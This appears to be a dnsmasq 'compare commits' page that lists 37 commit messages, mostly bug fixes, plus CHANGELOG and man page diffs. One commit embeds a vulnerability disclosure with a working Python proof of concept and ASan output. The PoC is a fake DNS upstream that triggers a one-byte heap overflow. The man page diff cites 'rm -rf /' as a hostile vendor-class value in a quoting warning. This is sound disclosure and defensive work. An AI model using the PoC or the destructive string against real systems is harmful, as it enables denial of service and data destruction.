Compare commits

...
37 Commits
Author SHA1 Message Date
Simon Kelley 03fd0c19ef Clear down SLAAC-name data when a DHCP lease loses its hostname.
If a DHCPv4 lease loses its hostname, then the DHCPv6 name-address mapping
derived from it become invalid and need to be cleared.

Similarly, when a hostname is added to an existing lease, new
SLAAC-name data needs to be generated.

Thanks Martin Vlach (and Claude) for finding a symptom of this in
the SLAAC logging code. This patch fixes that and does the correct
thing more generally.
2026-10-01 20:43:10 +01:00
Martin VlachandClaude Sonnet 5.5 baeb7430e2 Don't bump arrsize in poll_listen() until the realloc has succeeded.
If whine_realloc() fails in poll_listen(), arrsize has already been
doubled while pollfds keeps its old size. The next call then sees
arrsize != nfds, skips the extension and writes past the end of the
array (or through NULL if the very first allocation failed).
poll_reset() only clears nfds, so this sticks around until restart.

Only update arrsize once the reallocation has succeeded.

Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
2026-10-01 15:40:31 +01:00
朱耀辉 f90df6c532 Fix heap OOB read in zone_status()
Credit to Yaohui Zhu (朱耀辉) for finding this.

CNVD-C-2026-590208 applies.

Summary

zone_status() (src/dnssec.c:1867 in the 2.93 release; the same
construct is in current git master, 2.93-29-gad92083) computes
&name[name_start-2] in its backtrack loop without checking that
name_start >= 2. When name_start == 1 the loop starts at name[-1]
and dereferences it immediately; the guard (p != name) can never
fire for p < name, so the scan walks backwards through the heap
until it finds a '.' byte or hits an unmapped page. Under ASAN this
is a deterministic heap-buffer-overflow READ; on a plain build the
process dies with SIGSEGV.

A single, ordinary query plus one crafted upstream reply is enough.
My reproducer starts the ASAN binary with --dnssec and the root
trust anchor, with a mock upstream; on the first query the mock
answers with a captured crafted reply (a response carrying RRSIG(46),
NSEC(47) with an empty/root owner name, and NSEC3(50) records in the
authority section) and the process crashes on the first query.
2026-10-01 15:34:53 +01:00
Yuefu Zhou a9880c595f Close listening socket on fatal accept() errors to prevent busy loop
If a TCP listening socket is externally destroyed (e.g., via ss -K,
or a process using NETLINK_SOCK_DIAG/SOCK_DESTROY), accept()
permanently returns -1 with errno == EINVAL because the socket is
no longer in TCP_LISTEN state.  Since poll() keeps reporting the
stale fd as readable, the main loop spins calling
do_tcp_connection() -> accept() indefinitely, consuming 100% CPU.

Distinguish transient errors (EAGAIN, ECONNABORTED, EMFILE, ENFILE,
ENOMEM, ENOBUFS) from fatal ones.  On transient errors just return
and retry on the next poll cycle.  On fatal errors close the tcpfd
and mark it -1 so poll() no longer selects it.

In --bind-dynamic mode the listener will be automatically rebuilt
on the next address change event via newaddress().

Signed-off-by: Yuefu Zhou <yuefu16.zhou@gmail.com>
2026-09-04 22:00:52 +01:00
David Nichols ad9208358e fix --no-dhcpv4-interface also disables RA/DHCPv6 on constructed (constructor:) ranges
--no-dhcpv4-interface=IFACE is documented to disable only DHCPv4 on an interface,
leaving DHCPv6/RA untouched. That's exactly how it's implemented in the option parser
(option.c, LOPT_NO_DHCP4 case): the exclusion entry is tagged INAME_4 only, with INAME_6
explicitly cleared. The two general-purpose exclusion checks that consult this list also
respect the split correctly:

  - dhcp6.c:184-186 (regular DHCPv6 request handling)
  - radv.c:187-189 and radv.c:836-839 (RA sending)

All three do:

    if (tmp->name && (tmp->flags & INAME_6) && wildcard_match(tmp->name, iface))

But construct_worker() in dhcp6.c — the callback used to build a context from a
"constructor:IFACE" template range (dhcp-range=::,constructor:IFACE,ra-only,64,...) —
checks the same list without the flag test:

    src/dhcp6.c, lines 700-702 (2.93; same in 2.90):

        for (tmp = daemon->dhcp_except; tmp; tmp = tmp->next)
          if (tmp->name && wildcard_match(tmp->name, ifrn_name))
            return 1;

Because this only tests tmp->name and ignores tmp->flags, an interface added to
dhcp_except via --no-dhcpv4-interface (INAME_4 only, INAME_6 cleared) is excluded here
regardless — silently killing RA/DHCPv6 on that interface too, contradicting both the
documentation and the behaviour of every other exclusion check in the codebase.
2026-09-02 22:24:54 +01:00
Simon Kelley baf85a8f38 Tune store_name() fix in a9cb3971c6
By only checking the last-allocated block for space, the amount
off unused memory on the system is increased. This patch alters
things so that the 10 last-allocated blocks are checked. This
stil avoids the O(n^2) explosion but should improve memory efficiency.
2026-09-02 21:43:49 +01:00
Pank a9cb3971c6 Fix severe SIGHUP reload slowdown caused by store_name quadratic search
When reloading large hosts files (e.g. 1.7M addn-hosts entries) on SIGHUP,
free_names() previously only reset block->last = 0 without unlinking or
moving blocks to a spare pool. As a result, all existing blocks remained
in hostblocks. When reloading, the head block was filled first and stayed
at the head while full, forcing store_name() to linearly traverse all
previously filled blocks for every subsequent name insertion. This resulted
in O(N^2) complexity, taking ~10 minutes for 1.7M records.

Fix this by introducing nameblock_spare (matching config_spare / big_free
spare pool semantics), moving freed blocks to the spare pool in free_names(),
and restricting store_name() to only check the active head block before
popping from nameblock_spare (or mallocing). This restores O(1) per-entry
insertion and reduces reload time from 10 minutes to ~3 seconds.
2026-09-02 20:58:04 +01:00
DL6ER f031f5b4b3 Don't loop when a DS reply carries no proof of non-existence
A DS query answered with an unsigned NXDOMAIN which contains neither NSEC
nor NSEC3 records leaves `dnssec_validate_reply()` without a proof of
non-existence, so it falls back to `zone_status()` to find out whether the
zone is unsigned. For a DS query, that returns `STAT_NEED_DS` for the very
name whose DS we are resolving. The frec dependency graph then contains a
cycle, the loop detection in `dnssec_validate()` catches it, and the query
ends up `ABANDONED` without any log message explaining why.

Treat this self-referential answer as insecure instead. It carries no
information either way, and the existing handling of insecure DS replies
already makes the right decision about it: unsigned is assumed for RFC-1918
reverse names when `--bogus-priv` is set, and for domains served by a
`--server=/domain/...` directive, everything else stays BOGUS.

This is what breaks reverse lookups when a private range is delegated with
`--rev-server` and DNSSEC is enabled. Validating the answer walks the chain
of trust down to `10.in-addr.arpa`, which is above the delegated zone and
therefore goes to the public upstream, and the public resolvers serve the
RFC 6303 empty reverse zones locally, without any DNSSEC records to prove
that they are unsigned. The existing `--bogus-priv` workaround for exactly
this behavior was never reached because validation was abandoned first.

Signed-off-by: DL6ER <dl6er@dl6er.de>
2026-08-20 16:27:33 +01:00
DL6ER cf9c9c74e0 Fix typo in the TCP fork comments.
"is sent by the child has finshed the close" was meant to read
"is sent when the child has finished the close".

Signed-off-by: DL6ER <dl6er@dl6er.de>
2026-08-20 15:52:04 +01:00
DL6ER b518bc425d Define the fork handshake byte unconditionally.
1861a881eb made the declaration of "a"
conditional on HAVE_LINUX_NETWORK, which was right as long as the
read_write() calls sat inside the same #ifdef.

Since 1da5cc2951 the parent blocks on
the pipe and the child writes the byte on every platform, so a build
without HAVE_LINUX_NETWORK now fails with "a undeclared" in both
do_tcp_connection() and swap_to_tcp(). This is easy to hit after
7ebe7ebb93, which gives *BSD a reason
to take that path.

Signed-off-by: DL6ER <dl6er@dl6er.de>
2026-08-20 15:47:44 +01:00
Simon Kelley 0c177ad607 Validate the enterprise ID in the DHCPv6 vendor-class parser.
Use atoi_check()to ensure that the enterprise-ID is a valid decimal number.

Inspired by a patch from  DL6ER <dl6er@dl6er.de>
2026-08-17 12:53:51 +01:00
DL6ER 4388c38468 Fix bogus 256-byte DHCPv6 vendor-class option.
lookup_dhcp_len() returns the flag word from the option table, so
since 1af6ee6468 an option carrying
OT_DHCP6_VENDOR yields an opt_len of 0x0100.

--dhcp-option=option6:vendor-class,343 has a purely decimal argument
list and therefore takes the is_dec branch, which comes long before
the new OT_DHCP6_VENDOR branch, and

  if (opt_len != 0)
    new->len = opt_len;

sets new->len to 256. The value is then written by shifting an int by
up to 2040 bits, which is undefined behavior, and a 256-byte
vendor-class option ends up on the wire:

  $ dnsmasq --test --dhcp-option=option6:vendor-class,343
  option.c:1715:23: runtime error: shift exponent 2040 is too large
  for 32-bit type 'int'
  dnsmasq: syntax check OK.

The numeric spelling option6:16,343 takes the same path. Before
1af6ee6 both were rejected, as vendor-class was OT_INTERNAL back then.

Keep the is_dec branch away from OT_DHCP6_VENDOR, so the dedicated
parser runs and reports the missing vendor class instead.

Signed-off-by: DL6ER <dl6er@dl6er.de>
2026-08-16 21:10:45 +01:00
Simon Kelley 0a31ade4db Add man page warning about untrusted data in the environment of DHCP-script.
Thanks to Daniel Birtwhistle for prompting this.
2026-08-15 15:59:57 +01:00
Giuseppe Piscitelli a4ebe438df radv: explicit lease time as a floor for constructed-prefix RA lifetimes.
If upstream gives short lifetimes, local clients using RA for address
leasing can lose address access. This gives the ability to stretch
RAs to reasonable lifetimes.
2026-08-13 16:08:08 +01:00
Simon Kelley 8d8ad76d89 Expand man page for --group
Specifying --group without a value inhibits any change of gid. This
feature has existed since dnsmasq-2.43, released in 2008, but without
documentation, it has been lost to time, even though it's useful
in certain circumstances, mainly to do with containers.

Thanks to Leon Busch-George for his efforts to fix this.
2026-08-09 21:07:21 +01:00
Simon Kelley b50b55e227 Allow enviroment variables in dhcp-script to contain '='
An ancient miss-reading of "man setenv" lead to code which strips
'=' characters from the contents of enviroment variables set
in the dhcp-script. Equals characters are, of course banned in the
_name_ of environment variables, not the _value_.
2026-08-09 17:13:19 +01:00
Simon Kelley 7a663fd46b Don't pass arbitrary characters to DNSMASQ_SUPPLIED_HOSTNAME.
If the hostname supplied by a DHCPv4 client doesn't pass the
test if being an allowed hostname (ie without metacharacters) it
is ignored, but still passed to the environment variable
DNSMASQ_SUPPLIED_HOSTNAME in the dhcp-script.

Change this so that only valid hostnames appear in thos variable,
to avoid security problems with scripts that son't sanitise.

This brings DHCPv4 behaviour in line with DHCPv6.

Thanks to Daniel Birtwhistle for spotting the problem.
2026-08-09 16:23:54 +01:00
Simon Kelley 1f122521bb Make configuration for DHCPv4 options and DHCPv6 options consistent.
Historically, DHCPv4 client options are configured as

dhcp-option=option:ntp-server,....
dhcp-option=42,....

DHCPv6 long ago added

dhcp-option=option6:sntp-server,....
dhcp-option=option6:31,....

This patch adds equivalents of this for DHCPv4

dhcp-option=option4:ntp-server,....
dhcp-option=option4:42,.....

and for good measure

dhcp-option=option:42,.....

and clarifies the man page.

Thanks to Martin-Éric Racine for pointing this out.
2026-07-27 21:02:53 +01:00
Pooyan Khanjankhani 8af20e56ed Fix typos throughout the codebase
Corrected spelling errors in comments and function names:
- recieved/receive -> received/receive
- error_occured -> error_occurred
- prefered -> preferred
- wierd -> weird
- datastuctures -> datastructures
- explictly -> explicitly
- ouptut -> output
- arrising -> arising
- encapulation -> encapsulation
- scrips -> scripts
- adn-hosts -> addn-hosts
- removed repeated 'the the' in three comments

Generated by AI (opencode).
2026-07-17 11:44:38 +01:00
Pooyan Khanjankhani 8aa607d322 Fix typo in man pages --dynamic-host 2026-07-17 11:43:57 +01:00
Pooyan Khanjankhani 52982cfe8f Fix name change of a flag in comments 2026-07-17 11:43:16 +01:00
Pooyan Khanjankhani 81d78d9c75 Fix a typo in man pages 2026-07-17 11:42:36 +01:00
Simon Kelley 7ebe7ebb93 Extend closing the netlink in TCP handler processes to *BSD.
This may not be necessary, as the socket doesn't revieve broadcasts,
but it can't hurt.
2026-07-09 21:45:40 +01:00
Zhou Yuefu 1da5cc2951 Close inherited listening sockets in forked TCP child processes
When dnsmasq forks a child to handle a TCP connection, the child
inherits copies of all listening sockets.  These are never used but
keep the underlying sockets alive in the kernel.  If a network
interface is removed and re-added while a child is running, the
parent's attempt to re-bind fails with EADDRINUSE because the child
still holds a reference.

Close all listener fds (UDP and TCP) in the child immediately after
fork in both do_tcp_connection() and swap_to_tcp().

[Original patch extended by Simon Kelley to include the TFTP listening
socket, and to extend the existing race-protection scheme for the
netlink socket to the listening sockets. Any bugs are my responsibility.]
2026-07-09 16:39:44 +01:00
Simon Kelley 5990261a57 Add CVE-2026-12969 to the record. 2026-07-09 13:08:25 +01:00
Simon Kelley b6b7e5a6fd Fix packet dump code.
The immediate motivation for this is to fix a potential
one byte buffer overflow. The rewrite to fix that resulted in
better code, but no other behavioural changes.

Thanks to Omkhar Arasaratnam for finding the overflow. His
report is below.
------------------------------------------------------------

Summary
-------

When packet dumping is enabled (--dumpfile / --dumpmask), dnsmasq writes one
byte past the end of the upstream-reply receive buffer whenever the reply it is
dumping has an odd byte length. do_dump_packet() pads the buffer for its
checksum computation with:

    if (len & 1)
      ((unsigned char *)packet)[len] = 0; /* for checksum, in case length is odd. */

packet here is the exact-sized receive buffer for the upstream reply, so index
[len] is one byte out of bounds. A malicious or compromised upstream nameserver
(or an on-path attacker able to spoof a UDP reply) that returns an odd-length
answer triggers the overflow on every dumped packet.

Affected code (built HEAD cf08eeee12)
-------------------------------------------------------------------

- Sink: src/dump.c:243 — ((unsigned char *)packet)[len] = 0; in do_dump_packet()
- Reached via: dump_packet_udp() (src/dump.c:120) <- reply_query()
  (src/forward.c:1224) <- check_dns_listeners() <- main().

Class: CWE-787 out-of-bounds write (1 byte). Impact: ASan/hardened-alloc abort
(remote DoS of the resolver) and latent 1-byte heap corruption in release builds.
Precondition: dumpfile/dumpmask enabled.

Reproduction
------------

PoC: poc.py (minimal fake upstream that returns an odd-length, DNS-shaped reply).

    # Build at HEAD with dumpfile support + ASan
    make -j4 CFLAGS="-DHAVE_DUMPFILE -fsanitize=address -g -O1"
    export ASAN_OPTIONS=halt_on_error=1:abort_on_error=0:exitcode=99:detect_leaks=0

    python3 poc.py 2267 &          # odd length; 1497 also fires
    dnsmasq --no-daemon --port=5353 --listen-address=127.0.0.1 --bind-interfaces \
        --no-resolv --no-hosts --server=127.0.0.1#5354 \
        --dumpfile=/tmp/dump.pcap --dumpmask=0xffff
    # forward a query so the odd-length reply is dumped
    dig @127.0.0.1 -p 5353 victim.test +tries=1 +time=3

Evidence
--------

stdout.txt — verbatim ASan report captured 2026-07-02 at built HEAD cf08eeee:
WRITE of size 1 ... 0 bytes to the right of 2267-byte region ... in do_dump_packet
src/dump.c:243:36, ==ABORTING.

Suggested fix
-------------

Do not write into packet[len]; compute the odd-byte checksum contribution from a
local copy of the final byte, or allocate the receive buffer one byte larger for
the dump path. Alternatively pad into a scratch buffer rather than mutating the
received packet in place.

---- PROOF-OF-CONCEPT: poc.py ----
import socket, struct, sys

PORT = 5354
TARGET_LEN = int(sys.argv[1]) if len(sys.argv) > 1 else 2267  # odd

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind(('127.0.0.1', PORT))
s.settimeout(8.0)
print(f"[upstream] listening UDP/{PORT}", flush=True)

while True:
    try:
        data, addr = s.recvfrom(8192)
    except socket.timeout:
        print("[upstream] timeout, exiting", flush=True)
        break
    if len(data) < 12:
        continue
    qid = data[:2]
    header = qid + struct.pack('!H', 0x8180) + struct.pack('!H', 1) + struct.pack('!H', 0) * 3
    # echo the question section
    i = 12
    while i < len(data) and data[i] != 0:
        i += 1 + data[i]
    end_q = i + 1 + 4 if i < len(data) else len(data)
    qsec = data[12:end_q]
    body = header + qsec
    pad = TARGET_LEN - len(body)
    body = body + b'\x00' * pad if pad >= 0 else body[:TARGET_LEN]
    s.sendto(body[:TARGET_LEN], addr)
    print(f"[upstream] sent {len(body[:TARGET_LEN])} bytes to {addr}", flush=True)
    break  # one-shot

---- CAPTURED OUTPUT (verbatim from the run) ----
Fresh verbatim capture 2026-07-02. Built HEAD cf08eeee12.
ASAN_OPTIONS=halt_on_error=1:abort_on_error=0:exitcode=99:detect_leaks=0
Only the build-tree prefix has been neutralized to <ROOT>; PIDs, addresses,
offsets, frame symbols, line numbers and shadow bytes are otherwise verbatim.

dnsmasq: started, version UNKNOWN cachesize 150
dnsmasq: compile time options: IPv6 GNU-getopt no-DBus no-UBus no-i18n no-IDN DHCP DHCPv6 no-Lua TFTP no-conntrack ipset no-nftset auth no-DNSSEC loop-detect inotify dumpfile
dnsmasq: using nameserver 127.0.0.1#5354
dnsmasq: cleared cache
dnsmasq: dumping packet 1 mask 0x0001
dnsmasq: dumping packet 2 mask 0x0004
=================================================================
==4200==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61d000001d5b at pc 0x55d1d877eb3e bp 0x7fff30d2ad90 sp 0x7fff30d2ad88
WRITE of size 1 at 0x61d000001d5b thread T0
    #0 0x55d1d877eb3d in do_dump_packet <ROOT>/src/dump.c:243:36
    #1 0x55d1d877dc2d in dump_packet_udp <ROOT>/src/dump.c:120:8
    #2 0x55d1d86f0533 in reply_query <ROOT>/src/forward.c:1224:3
    #3 0x55d1d870d513 in check_dns_listeners <ROOT>/src/dnsmasq.c
    #4 0x55d1d8709945 in main <ROOT>/src/dnsmasq.c:1318:2
    #5 0x7fe839e29d8f  (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f) (BuildId: 095c7ba148aeca81668091f718047078d57efddb)
    #6 0x7fe839e29e3f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x29e3f) (BuildId: 095c7ba148aeca81668091f718047078d57efddb)
    #7 0x55d1d85ee6d4 in _start (<ROOT>/src/dnsmasq+0x586d4) (BuildId: 1a53a57dfe7ae24e2759b8529f3347380facb52b)

0x61d000001d5b is located 0 bytes to the right of 2267-byte region [0x61d000001480,0x61d000001d5b)
allocated by thread T0 here:
    #0 0x55d1d8671708 in __interceptor_calloc (<ROOT>/src/dnsmasq+0xdb708) (BuildId: 1a53a57dfe7ae24e2759b8529f3347380facb52b)
    #1 0x55d1d86c95ad in safe_malloc <ROOT>/src/util.c:321:15
    #2 0x7fe839e29d8f  (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f) (BuildId: 095c7ba148aeca81668091f718047078d57efddb)

SUMMARY: AddressSanitizer: heap-buffer-overflow <ROOT>/src/dump.c:243:36 in do_dump_packet
Shadow bytes around the buggy address:
  0x0c3a7fff8350: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c3a7fff8360: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c3a7fff8370: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c3a7fff8380: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c3a7fff8390: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c3a7fff83a0: 00 00 00 00 00 00 00 00 00 00 00[03]fa fa fa fa
  0x0c3a7fff83b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c3a7fff83c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c3a7fff83d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c3a7fff83e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c3a7fff83f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==4200==ABORTING

EXIT: ASan ==4200==ABORTING. heap-buffer-overflow WRITE of size 1, 0 bytes to the
right of the 2267-byte upstream-reply receive buffer. The odd-length (2267) reply
from the fake upstream drives do_dump_packet's odd-length checksum pad write at
src/dump.c:243 (`((unsigned char *)packet)[len] = 0;`) one byte past the buffer.
2026-07-06 21:22:04 +01:00
Simon Kelley f8c162b8b0 Fix logic suppressing multiple warnings in bound interfaces. 2026-07-03 22:59:22 +01:00
Simon Kelley c93e9ce592 Don't chown a log file unless it is a regular file.
Thi specifically avoids bad behavior with --log-facility=/dev/null
2026-07-03 22:26:36 +01:00
Simon Kelley bf80262874 Fix file-descriptor leak in TFTP code.
Thanks to Metadust/Hamza (Github: @metadust)
for spotting this.
2026-06-20 18:59:37 +01:00
Simon Kelley ea4645d52c Extend ea9bd30cd4
On further analysis, the problem is deeper: Other
error paths (which are not accessible to an attack) can also
return an incorrect header->id value, and most error paths
return incorrect query case if --do-0x20-encode is in use.
2026-06-14 23:40:52 +01:00
Simon Kelley ea9bd30cd4 Fix information disclosure.
An oversight in commit f9f8d19bf5
leaves a code path where a repeat of a query gets an error reply
which discloses the id field used in interactions with upstream
servers ro get an answer to the query. By triggering this
code path, an attacker can determine the id, which makes Kaminsky
cache poisoning attacks much less expensive and much more certain.

This bug exists in stable releases 2.91, 2.92 2.92rel2 and 2.93

Thanks to Ronen Shustin from Project Atlas, Wiz for finding
this problem.
2026-06-14 23:36:43 +01:00
Luiz Angelo Daros de Luca 1af6ee6468 dhcp6: implement vendor class support
Implement the OT_DHCP6_VENDOR option type to properly handle the
DHCPv6 Vendor Class option (code 16) according to RFC 3315.

Previously, this option was marked as OT_INTERNAL, causing dnsmasq
to fail immediately if configured by name. Bypassing this block by
using the numerical option format (option6:16) caused the payload
to be formatted with an unintended string-length prefix. This broke
compliance because the RFC requires a fixed 4-byte Enterprise ID
at the beginning of the option, followed by data blocks.

This byte misalignment broke features like UEFI HTTP IPv6 Boot

This patch removes the OT_INTERNAL restriction and moves the formatting
logic to the parser phase, correctly assembling the wire-format layout
(4-byte ID + 2-byte chunk length + string) so it can be injected
directly into the network buffer.

Signed-off-by: Luiz Angelo Daros de Luca <luizluca@gmail.com>
2026-06-11 15:29:35 +01:00
Simon Kelley c310853907 Fix double-free in blockdata_expand().
If blockdata_expand() fails, it frees the existing block chain
and returns zero. Each call to blockdata_expand() checks for the zero return,
and calls blockdata_free() as part of its clean-up, resulting in
a double-free and crash.

Thanks to fallrig for finding this.
2026-06-09 22:11:21 +01:00
Matthias Andree 3ff66da573 Fix two typos in v2.93 CHANGELOG 2026-06-04 12:47:22 +01:00
Simon Kelley d823d8e9cd Fix OOB-read crash in get_rdata().
get_rdata() contains another instance of a crash caused by
a false value of RDLEN in a resource-record.

An RR containing name which is longer than the rdlen of the RR can
get get_rdata into a state where it calculates the length of the data
following the name as a negative number which is then promoted
to a very large positive number, and causing SIGSEGV.

This can be triggered by crafted packets from malicous DNS servers,
but only when DNSSEC validation is enabled. The attack packets do not
have to be correctly DNSSEC signed.

Thanks to Tristan G. for spotting this problem.

Also fix error handling for RRs with a fixed size fields in the specification
where the rrsize indicates that there are zero bytes in that position.
2026-06-04 12:47:18 +01:00
Simon Kelley 2c78b6db6c Better code to make human-friendly tokens for pointers in log-malloc.
It turns out that subtracting NULL from a pointer to turn it into
an integer is not a good idea, because subtracting a NULL pointer
is undefined behaviour in C.

The correct way to do this is simply to cast the pointer to
uintptr_t. The only fly in this ointment is that the C standard
does not mandate support for uintptr_t.  In practice, I doubt
anyone is running dnsmasq on the long-dead architectures where
this might be a problem.

Thanks to Matthias Andree for the heads-up.
2026-06-02 13:00:18 +01:00
Simon Kelley 4bf46ceb37 Add the ability to bail before EOF to get_line_alloc();
If we stop reading a file before getting to the end, get_line_alloc()
will not clean up the memory it allocated. Give get_line_alloc()
the ability to do a forced cleanup by calling it with a NULL file,
and use that ability where we stop reading a file early.

Also clear the state variables when we free the memory, to
pre-empt use-after-free.
2026-06-02 00:22:05 +01:00
25 changed files with 570 additions and 354 deletions

No files matched your search

+18 -2
View File
@@ -1,6 +1,22 @@
version 2.94
Record that CVE-2026-12969 has been allocated to the
buffer OOB read in find_soa() which is fixed in git commit
14094e88beca519c53151184cc4553656672b54f, released at 2.93.
Thanks to do litli for spotting this.
Fix erroneous behaviour of --no-dhcpv4-interface with
constructed DHCPv6/RA - DHCPv6 and RA are inhibited by
--no-dhcpv4-interface when using constructed address ranges.
Thanks to David Nichols for discovery, diagnosis and patch.
Fix heap OOB read in zone_status. Thanks to Yaohui Zhu (朱耀辉)
for spotting and reporting this. A crafted reply can crash dnsmasq.
CNVD-C-2026-590208 applies.
version 2.93
Fix a corner-case in DNSSEC validation with wildcards. If we have
a wildcard record *.example.com and recieve a query for
a wildcard record *.example.com and receive a query for
a.example.com then that's OK, but we have to check that there isn't
an actual a.example.com record. The corner case is when we get a
query for *.example.com in that case the non-existence check
@@ -19,7 +35,7 @@ version 2.93
(eg rivcoed.org) will still fail. Thanks to Petr Menšík
for the bug report.
Fix DNSSEC fail with CNAME replies to DS queries. As CNAME reply
Fix DNSSEC fail with CNAME replies to DS queries. A CNAME reply
to a DNSSEC query was confusing the validation logic. It now
accepts a signed CNAME reply to a DS query as proof that no DS
exists at the domain. This fixes the DS/zone break detection logic.
+45 -11
View File
@@ -174,12 +174,18 @@ Specify an alternate path for dnsmasq to record its process-id in. Normally /var
.B \-u, --user=<username>
Specify the userid to which dnsmasq will change after startup. Dnsmasq must normally be started as root, but it will drop root
privileges after startup by changing id to another user. Normally this user is "nobody" but that
can be over-ridden with this switch.
can be over-ridden with this switch.
.TP
.B \-g, --group=<groupname>
Specify the group which dnsmasq will run
as. The default is "dip", if available, to facilitate access to
/etc/ppp/resolv.conf which is not normally world readable.
/etc/ppp/resolv.conf which is not normally world readable. If "dip" is not available, the default becomes
the main group associated with the uid specified by
.B --user
, or "nobody".
Specifying
.B --group
without an argument inhibits any change to the gid of the process, even to the defaults.
.TP
.B \-v, --version
Print the version number.
@@ -868,7 +874,7 @@ will be logged. If this coincides with DNS not functioning, it
is necessary to disable the feature. As at version 2.91, 0x20 encoding
is disabled by default, and must be enabled with --do-0x20-encode. The default
may change in the future, so to be sure of its status after an upgrade, set --do-0x20-encode
or --no-0x20-encode in your config. --no-0x20-encode overrides --do-x20-encode or a future default
or --no-0x20-encode in your config. --no-0x20-encode overrides --do-0x20-encode or a future default
0x20-encode enable.
.TP
.B --use-stale-cache[=<max TTL excess in s>]
@@ -1041,7 +1047,10 @@ options. If the lease time is given, then leases
will be given for that length of time. The lease time is in seconds,
or minutes (eg 45m) or hours (eg 1h) or days (2d) or weeks (1w) or "infinite". If not given,
the default lease time is one hour for IPv4 and one day for IPv6. The
minimum lease time is two minutes. For IPv6 ranges, the lease time
minimum lease time is two minutes. An explicitly configured lease time also
affects IPv6 router advertisements: it acts as a ceiling on the advertised
prefix lifetimes. For constructed ranges it also acts as a floor, unless the
prefix is being deprecated. For IPv6 ranges, the lease time
maybe "deprecated"; this sets the preferred lifetime sent in a DHCP
lease or router advertisement to zero, which causes clients to use
other addresses, if available, for new connections as a prelude to renumbering.
@@ -1329,7 +1338,7 @@ have exactly the same effect as
options containing the same information. /etc/ethers is re-read when
dnsmasq receives SIGHUP. IPv6 addresses are NOT read from /etc/ethers.
.TP
.B \-O, --dhcp-option=[tag:<tag>,[tag:<tag>,]][encap:<opt>,][vi-encap:<enterprise>,][vendor:[<vendor-class>],][<opt>|option:<opt-name>|option6:<opt>|option6:<opt-name>],[<value>[,<value>]]
.B \-O, --dhcp-option=[tag:<tag>,[tag:<tag>,]][encap:<opt>,][vi-encap:<enterprise>,][vendor:[<vendor-class>],][<opt>|option:<opt>|option:<opt-name>|option4:<opt>|option4:<optname>|option6:<opt>|option6:<opt-name>],[<value>[,<value>]]
Send various extra options to DHCP clients. By default,
dnsmasq sends some standard options to DHCP clients, the netmask and
broadcast address are set to the same as the host running dnsmasq, and
@@ -1348,6 +1357,13 @@ For example, to set the default route option to 192.168.4.4, use
and to set the time-server address to 192.168.0.4, use
\fB--dhcp-option=42,192.168.0.4\fP or
\fB--dhcp-option=option:ntp-server,192.168.0.4\fP.
The above examples are backwards compatible, for consistency with IPV6, the time-server example
may also be given as
\fB--dhcp-option=option:42,192.168.0.4\fP or
\fB--dhcp-option=option4:42,192.168.0.4\fP or
\fB--dhcp-option=option4:ntp-server,192.168.0.4\fP
The special address 0.0.0.0 means "the address of the system running dnsmasq".
An option without data is valid, and includes just the option without data.
@@ -1372,11 +1388,14 @@ described in RFC 3442.
IPv6 options are specified using the \fBoption6:\fP
keyword, followed by the option number or option name. The IPv6 option
name space is disjoint from the IPv4 option name space. IPv6 addresses
in options must be bracketed with square brackets, eg.
\fB --dhcp-option=option6:ntp-server,[1234::56]\fP.
in options must be bracketed with square brackets, eg. \fB --dhcp-option=option6:sntp-server,[1234::56]\fP or
--dhcp-option=option6:31,[1234::56].
For IPv6, [::] means "the global address of
the machine running dnsmasq", whilst [fd00::] is replaced with the
ULA, if it exists, and [fe80::] with the link-local address.
ULA, if it exists, and [fe80::] with the link-local address. The vendorclass option
is special for DHCPv6, since it requires an enterprise number which must appear as a decimal number
before the class(es). eg. \fB --dhcp-option=option6:vendor-class,343,HTTPClient\fP
Be careful: data-type suitability for the option number sent is not checked.
It is quite possible to persuade dnsmasq to generate illegal DHCP packets with
@@ -1902,7 +1921,12 @@ DNSMASQ_CLIENT_ID if the host provided a client-id.
DNSMASQ_CIRCUIT_ID, DNSMASQ_SUBSCRIBER_ID, DNSMASQ_REMOTE_ID if a
DHCP relay-agent added any of these options.
DNSMASQ_CPEWAN_OUI, DNSMASQ_CPEWAN_SERIAL, DNSMASQ_CPEWAN_CLASS from
an RFC3925 Vendor-Identifying Vendor-Specific Information Option
containing the Broadband Forum enterprise number and options
defined in TR-069.
If the client provides vendor-class, DNSMASQ_VENDOR_CLASS.
For IPv6 only:
@@ -1925,7 +1949,17 @@ only supplied for
since these data are not held in dnsmasq's lease
database.
Please note that the environment options DNSMASQ_USER_CLASS0..DNSMASQ_USER_CLASSn,
DNSMASQ_VENDOR_CLASS0..DNSMASQ_VENDOR_CLASSn,
DNSMASQ_VENDOR_CLASS,
DNSMASQ_CIRCUIT_ID, DNSMASQ_SUBSCRIBER_ID, DNSMASQ_REMOTE_ID,
DNSMASQ_CPEWAN_OUI, DNSMASQ_CPEWAN_SERIAL, DNSMASQ_CPEWAN_CLASS,
DNSMASQ_MUD_URL all contain values which are derived directly from untrusted data recieved
from clients. Be very careful with quoting when using these values, lest an attacker sends
a vendor class of "rm -rf /". Note also that the RFCs defining these options tend to simply
define them an opaque data: the implication but not the letter of the definition is
